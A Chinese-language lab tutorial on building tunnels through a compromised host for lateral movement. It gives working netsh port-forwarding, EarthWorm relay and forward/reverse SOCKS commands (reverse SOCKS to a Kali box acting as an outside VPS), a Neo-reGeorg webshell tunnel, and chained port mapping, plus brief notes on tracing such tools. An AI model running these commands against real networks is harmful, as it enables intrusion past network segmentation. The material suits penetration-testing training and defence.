內網滲透之通道構建
實驗環境:
Win7:192.168.152.136
Win2008:192.168.152.135
物理機:199.200.233.176
在win2008阻止物理機的訪問,即win2008只可以win7訪問
物理機可以訪問win7不能訪問win2008:
情景1
假設win已經拿到最高許可權了,現在通過win7為跳板去訪問內網的win2008
1. netsh
埠轉發是轉發一個網路埠從一個網路節點到另一個網路節點的行為。
系統原生了一些命令,可以用來做埠轉發,一次只能指定一個埠進行轉發,所以效率稍微低一些,但是不用考慮殺軟攔截等問題
將192.168.152.136(win7)的7777埠流量轉發到192.168.152.135(win2008)的3389埠:
win7執行命令:
netsh interface portproxy add v4tov4 listenaddress=192.168.152.136 listenport=7777 connectaddress=192.168.152.135 connectport=3389
用物理機遠端桌面訪問win的7777埠,即訪問到了win2008的3389埠
1.1 分析
Win2008日誌分析是從win7遠端登入過來的
當物理機去連線win7的7777埠時情況如下,物理機(192.168.152.1是VM的網口地址)的一個隨機埠與win7(192.168.152.136)的7777埠建立連線,然後win生成一個隨機埠將流量轉發給win2008(192.168.152.135)的3389埠
使用: netsh interface portproxy show v4tov4 可以檢視埠轉發情況
刪除所有埠轉發:netsh interface portproxy reset
2.EW
使用ew:訪問win7的7777埠等於訪問winserver的3389:
ew_for_win_32.exe -s lcx_tran -l 7777 -f 192.168.152.135 -g 3389
物理連線win7的7777埠相對於訪問win2008的3389
連線時流量和netsh的是差不多的,只不過這裡監聽的0.0.0.0的7777埠
假如需要溯源的話可以根據pid定位到程序
根據程序名檢視其物理路徑和執行的命令
注:如果關掉了EW是檢視不到命令的,也看不到它監聽7777埠,除非是有流量審計裝置。我們可以全盤掃描看是否有異常檔案,如果免殺ew的話只能通過檢視附近時間點是否有可疑檔案
1.1 使用ew,還建立正向代理
ew_for_win_32.exe -s ssocksd -l 1080
sockscap連線(瀏覽器自帶sock5連線配置也行)
物理機選擇一個瀏覽器,也可以在本地載入其它程式,比如埠掃描等等程式
物理機可直接訪問win2008 web服務
情景二
Socks反向代理,kali(192.168.152.133)充當外網的vps
Kali:
./ew_for_linux64 -s rcsocks -l 1088 -e 1025
Win7:
ew_for_win_32.exe -s rssocks -d 192.168.152.133 -e 1025
物理機:連線kali的1088埠
訪問win2008
情景三
win7已經拿下,如果win7只向公網對映一個埠,比如80,則可以利用http或https代理
使用regeorg,github上可以下載
下載後生成通道shell
python neoreg.py generate -k password
上傳一個shell到伺服器
物理機執行:
python neoreg.py -k password -u http://192.168.152.136/tunnel.php -p 7777
情景四
win7、winserver都已getshell,winserver有兩個網絡卡,其中一個能訪問win7II
在winserver開啟正向socks伺服器,埠9999;在win7利用埠對映,把1080埠收到的埠轉發給socks9999 ,hack訪問win7 1080埠相當於訪問winserver的9999
winserver建立正向代理,埠9999
win7(5.131),監聽本機1080埠流量,轉發給 winserver(5.130)的9999埠
物理機,設定代理
直接訪問win||
注(以上環境皆是自己在本機搭建,請勿在公網真實操作)